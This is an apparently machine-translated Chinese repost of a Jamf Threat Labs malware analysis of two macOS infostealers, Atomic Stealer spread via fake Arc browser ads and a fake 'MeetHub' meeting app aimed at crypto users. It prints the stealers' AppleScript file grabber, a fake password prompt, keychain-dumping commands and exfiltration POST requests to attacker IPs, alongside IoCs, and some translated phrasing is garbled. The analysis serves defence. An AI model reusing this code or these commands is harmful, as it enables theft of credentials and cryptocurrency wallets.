介绍
在过去的一年里,macOS环境一直受到信息窃取者的攻击。这些盗窃者中的许多人都针对涉及加密行业的个人,重点是收集凭证以及来自各种加密钱包的数据。Jamf威胁实验室观察到这些攻击者使用的策略和战术的创造性演变,以瞄准用户并窃取他们的数据。
威胁实验室(Threat Labs)追踪了最近的两起攻击,这两起攻击的结果是将此类窃取程序植入受害者的系统。
正在进行的攻击
攻击1 -原子窃取者通过赞助广告传播
在谷歌上搜索“Arc浏览器”时,我们注意到,在看似合法的Arc网络浏览器的赞助结果之后,实际上会将您带到一个恶意网站文章,[aricl.net],模仿合法的arc.net。
谷歌广告服务链接:
googleadservices hXXps: / / www。com/pagead/aclk ? sa = L&ai = DChcSEwiC8Jm6-ZSFAxUIwUwCHXbYB3MYABAAGgJ0bQ&ase = 2&gclid = EAIaIQobChMIgvCZuvmUhQMVCMFMAh122AdzEAAYASAAEgKHuvD_BwE&ei = 0lQEZp-wCbWqptQP-Kq0mA8&ohost = www.google.com&cid = CAASJORoo4VHmMOQTyTY97tSpGDZA1DEcypIUn9R0xOdHJi1x9N3KQ&sig = AOD64_2IOygLFSykCaouP6GmJOVlWRg3AA&q&sqi = 2&nis = 4&adurl&ved = 2ahUKEwif4Y66-ZSFAxU1lYkEHXgVDfMQ0Qx6BAgJEAE
我们并不是唯一注意到这种奇怪现象的人。Reddit上的用户也得出了同样的结论。有趣的是,恶意网站不能直接访问,因为它返回一个错误。它只能通过生成的赞助链接访问,大概是为了逃避检测。
下面是恶意文章的图片。受害用户下载恶意应用程序的网站。在某些情况下,赞助链接还会将我们引导到位于[airci.net]的相同恶意网站。
DMG是临时签名的,并提供了右键单击应用程序并选择打开的指示,从而覆盖任何Gatekeeper警告。
与Atomic stealer之前的变体类似,它包含最小的字符串,因为它们中的大多数都是xor编码,以避免检测,这是逃避静态签名的常用技术。
Atomic stealer的这种变体将调用一个名为 bewta() 的函数,该函数使用硬编码的xor密钥 0x91 对各种字节进行除异操作。然后调用system()函数调用来运行用于信息窃取的AppleScript有效负载。用于窃取资产的其他一些功能如下:
10000e146 task_first()
10000e14b task2()
10000e150 task3()
10000e155 task4()
10000e15a task5()
10000e15f task6()
从密钥串中转储纯文本密码需要用户的macOS密码。Infostealer的开发人员早就意识到,获取密码最简单的方法就是直接问用户要密码。我们看到一个通过调用AppleScript生成的提示符。
删除整个可执行文件将揭示许多与窃取功能相关的字符串,例如以下AppleScript命令
"osascript",
"-e", "set baseFolderPath to (path to home folder as text) & "951540712"",
"-e", "set fileGrabberFolderPath to (path to home folder as text) & "951540712:FileGrabber:"",
"-e", "tell application "Finder"",
"-e", "set username to short user name of (system info)",
"-e", "try",
"-e", "if not (exists folder fileGrabberFolderPath) then",
"-e", "make new folder at folder baseFolderPath with properties {name:"FileGrabber"}",
"-e", "end if",
"-e", "set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")",
"-e", "try",
"-e", "duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing",
"-e", "end try",
"-e", "set homePath to path to home folder as string",
"-e", "set sourceFilePath to homePath & "Library:Group Containers:group.com.apple.notes:"",
"-e", "try",
"-e", "duplicate file "NoteStore.sqlite" of folder sourceFilePath to folder baseFolderPath with replacing",
"-e", "duplicate file "NoteStore.sqlite-shm" of folder sourceFilePath to folder baseFolderPath with replacing",
"-e", "duplicate file "NoteStore.sqlite-wal" of folder sourceFilePath to folder baseFolderPath with replacing",
"-e", "end try",
"-e", "set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"}",
"-e", "set desktopFiles to every file of desktop",
"-e", "set documentsFiles to every file of folder "Documents" of (path to home folder)",
"-e", "repeat with aFile in (desktopFiles & documentsFiles)",
"-e", "set fileExtension to name extension of aFile",
"-e", "if fileExtension is in extensionsList then",
"-e", "set fileSize to size of aFile",
"-e", "if fileSize ≤ 51200 then",
"-e", "duplicate aFile to folder fileGrabberFolderPath with replacing",
"-e", "end if",
"-e", "end if",
"-e", "end repeat",
"-e", "end try",
"-e", "end tell"
Atomic stealer的大部分行为已经被很好地记录下来了,我们在这里没有观察到任何重大的变化。下面是一个相对较新的macOS安装中收集的一些用于泄露的文件。
2008465714
├── Chromium
│ └── Chrome
│ ├── Autofill0
│ ├── Cookies3
│ └── Password1
├── Cookies.binarycookies
├── FileGrabber
├── NoteStore.sqlite
├── NoteStore.sqlite-shm
├── NoteStore.sqlite-wal
├── Sysinfo.txt
├── Wallets
│ └── Exodus
│ ├── passphrase.json
│ ├── seed.seco
│ └── storage.seco
├── login-keychain
└── password-entered
最后,恶意软件将通过HTTP向攻击者服务器发送POST请求,攻击者服务器在请求体中保存一个base64编码的泄漏数据zip文件。
Hypertext Transfer Protocol
POST /joinsystem HTTP/1.1rn
Host: 193.233.132.188rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 481728rn
Connection: closern
rn
[Full request URI: http://193.233.132[.]188/joinsystem]
File Data: 481728 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "BuildID" = "2"
Form item: "user" = "Vulkan3000"
[truncated]Form item: "B64" = "UEsDBAoAAAAAAHZGfFgAAAAAAAAAAAAAAAALABAAMjAwODQ2NTcxNC9VWAwAEJIFZhCSBWb1ARQAUEsDBBQACAAIAAB9T1gAAAAAAAAAAAAAAAAfABAAMjAwODQ2NTcxNC9Ob3RlU3RvcmUuc3FsaXRlLXdhbFVYDADPoM5lz6DOZfUBFADsnQlgFEX2_3uO7kxf9XIfQ0ICJNy
Form item: "cl" = "0"
Form item: "cn" = "0"
攻击2 -会面
在观察到一个未签名的可执行文件试图执行后,Jamf威胁实验室也得到了另一个正在进行的攻击的提示,该文件在以下路径上有一个已知的坏散列:
/Applications/Meethub.app/Contents/MacOS/sleve
申请书的名称和没有签名的事实值得调查。当发现应用程序名称与可执行文件名不匹配时,很明显,深入研究这个应用程序是值得的。虽然操作系统并不要求应用程序名称和可执行文件名称匹配,但这种不匹配并不常见。进一步的调查把我们带到了meethub[.]gg网站。
Meethub作为一个组织,在Telegram和Medium上有着令人信服的媒体存在感。它在互联网上最著名的一次露面是在X上,在那里它积累了8000多名粉丝(可能是机器人和用户的混合体),其中许多人在他们的个人资料中表示对加密货币感兴趣。
受害者报告说,骗子伪装成没有恶意的人,希望安排一次会面。在一个案例中,与受害者讨论录制播客,在另一个案例中,讨论工作机会。两份档案都显示了对加密和区块链的大量参与。
在联系上,攻击者要求使用Meethub作为虚拟会议软件进行通话。如果你浏览Meethub网站并选择“免费试用”,你会看到Windows和macOS版本的链接。在选择macOS时,下载一个51兆字节的无符号pkg (7f22760d6d85f8173292d39ea087f35695ad65ab
)。选择下载后,网站会提供一个说明,告诉你如何绕过可能遇到的Gatekeeper提示。
乍一看,我们看到下载的应用程序只支持英特尔架构。
>> file /Applications/MeetHub.app/Contents/MacOS/sleve
/Applications/MeetHub.app/Contents/MacOS/sleve: Mach-O 64-bit executable x86_64
这要么是一个有趣的选择,要么是恶意软件作者的疏忽。为了使应用程序能够在较新的ARM架构上成功运行,必须首先安装Rosetta。如果不是这样,应用程序在安装后将无法打开,用户必须手动打开它。然后,他们必须按照Rosetta安装提示操作。
该应用程序的主要二进制文件在Meethub。app/Contents/MacOS/ sleeve
( 3865636ed27ae81f146ed5b9ac9a25f53a6d10a7
)首先执行一些侦察命令,如 uname , sw_vers 和 ioreg ,开始它的工作。
就像上面剖析的原子窃取程序示例一样,这个窃取程序也会使用下面的AppleScript调用提示用户输入macOS登录密码。
"osascript","-e","display dialog "The launcher need permissions to enable background auto-updates.nnPlease enter your password." with title "Auto-Updates System" default answer "" with icon caution buttons {"Continue"} default button "Continue" with hidden answer"
恶意软件将继续生成此提示,直到输入正确的密码。然后使用以下命令复制用户的keychain:
cp
~/Library/Keychains ~/
Documents/data/Keychain/kc.db
然后,信息伪造者通过炮轰安全命令,从钥匙链中转储所有信息。
security unlock-keychain -p /Users//Library/Keychains/login.keychain-db
使用用户的密码解锁钥匙链后,执行开源的破链工具,从解锁
的钥匙链中收集密码。断链工具(50b8af2019ad
bbea310bce0
259b4a3f3da2e4d7d
)捆绑在应用程序中,并存储在MeetHub.app/Contents/Resources/extensions/installer.
偷窃者支持的其他行为包括:
-
从浏览器登录数据中收集用户名和密码
-
获取信用卡详细信息的能力
-
从已安装的加密钱包列表中窃取数据,其中包括Ledger和Trezor
每执行一步,恶意软件都会向IP地址46.101.104[发送更新。[172],以跟踪系统当前的妥协阶段。
POST /metrics
1. Content-Disposition: form-data; name="metric" Opened build
2. Content-Disposition: form-data; name="metric" Checking vm
POST /opened
3. Content-Disposition: form-data; name="uid"
Content-Disposition: form-data; name="buildName" Test
Content-Disposition: form-data; name="buildVersion" 2.0.0-test
POST /metrics
4. Content-Disposition: form-data; name="username" yuzokano
Content-Disposition: form-data; name="metric" Try to access keychain
5. Content-Disposition: form-data; name="metric" Opened ask-password window
6. Content-Disposition: form-data; name="metric" Get password: foobar
7. Content-Disposition: form-data; name="metric" Getting brows data
8. Content-Disposition: form-data; name="metric" Got brow data and getting geo
9. Content-Disposition: form-data; name="metric" IP: 00.00.00.00
10. Content-Disposition: form-data; name="metric" OS data:.User: yuzokano.OS:
Macos Sonoma(14.3.0) X64
11. Content-Disposition: form-data; name="metric" Start zipping
12. Content-Disposition: form-data; name="metric" Zipped
13. Content-Disposition: form-data; name="metric" Start sending data
POST /new_analytics
14. name="archive"
filename="/Users/yuzokano/Documents/data.zip"
POST /metrics
15. Content-Disposition: form-data; name="metric" Main process is done
16. Content-Disposition: form-data; name="metric" Removing temp files...
有趣的是,我们观察到围绕Ledger钱包的一些行为,恶意软件会试图下载并将代码注入Ledger的某个版本。
POST /metrics
17. Content-Disposition: form-data; name="metric" Found Ledger, try to inject
18. Content-Disposition: form-data; name="metric" Download new ledger
19. Content-Disposition: form-data; name="metric" Deleted old ledger
20. Content-Disposition: form-data; name="metric" Remove quarantine from new ledger
21. Content-Disposition: form-data; name="metric" Success ledger
22. Content-Disposition: form-data; name="metric" Opening ledger
然而,似乎莱杰已经发现并阻止了这一行动。
虽然没有证实是否直接相关,但在这个偷窃者和最初记录为Realst偷窃者之间有许多有趣的相似之处。两者都有一些共同的特性,比如选择Rust作为主可执行文件的语言,使用链破器,以及链破器machO散列可以在许多类似视频游戏的pkgs中看到的事实——Realst使用的一种方法——已经上传到VirusTotal并被识别为恶意。
结论
本文讨论的攻击是过去一年中观察到的针对macOS用户的许多不同的infostealer攻击中的两种。如前所述,这些攻击通常集中在加密行业,因为这样的努力可能导致攻击者付出巨额代价。业内人士应该高度意识到,通常很容易找到公开信息,表明他们是资产持有人,或者很容易与将他们纳入该行业的公司联系在一起。我们中的许多人都错误地认为骗子是偶然发现的,而不是直接接触他们的受害者。
事实并非如此。
APT组织和网络罪犯都在进行以获取加密货币为目的的社会工程。在渗透之前建立融洽关系在macOS平台上更为常见。用户需要对这些类型的攻击保持警惕。
IoCs
Arc Browser Executables:
9d103cbad2b56f53a36f93316feda1de5513394d - ArcSetup.dmg
ba59bb35e8dfbe77676c8130c8c2d61c22b14564 - ArcSetup (Universal Binary)
d294b86c5aa7e90ff1f7367eb9fdad8d47193f22 - ArcSetup (x86)
af33c2bc39371a5667b65c38a62919c59f5ad084 - ArcSetup (ARM)
56871908b00a1efa1d3671d0b03b8f69da6d534a - ArcInstaller.dmg
28e35f4d92f3a0bf85fdffeb5b695119de823548 - ArcInstaller (Universal Binary)
28cc0be3aad1479c4d4ba616be6462a2c5c7ac18 - ArcInstaller (x86)
0ac59146723d72b2faad6a637cdd9fb2a6221f7e - ArcInstaller (ARM)
https://aricl[.]net
https://airci[.]net
- Exfiltration IP
MeetHub Executables:
7f22760d6d85f8173292d39ea087f35695ad65ab - MeetHub.pkg
3865636ed27ae81f146ed5b9ac9a25f53a6d10a7 - sleve (x86)
Chainbreaker Executables:
50b8af2019adbbea310bce0259b4a3f3da2e4d7d - game/installer (Universal Binary)
eecf5ffc338b97602b5b8f8ab8ccc51dcb8ffd8a - game/installer (ARM)
596fd483314c3cce43d8b5ed38b5202c29a60b14 - game/installer (x86)
https://meethub[.]gg
- Exfiltration IP
原文始发于微信公众号(HackSee):研究人员剖析针对macOS用户的Infostealer恶意软件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论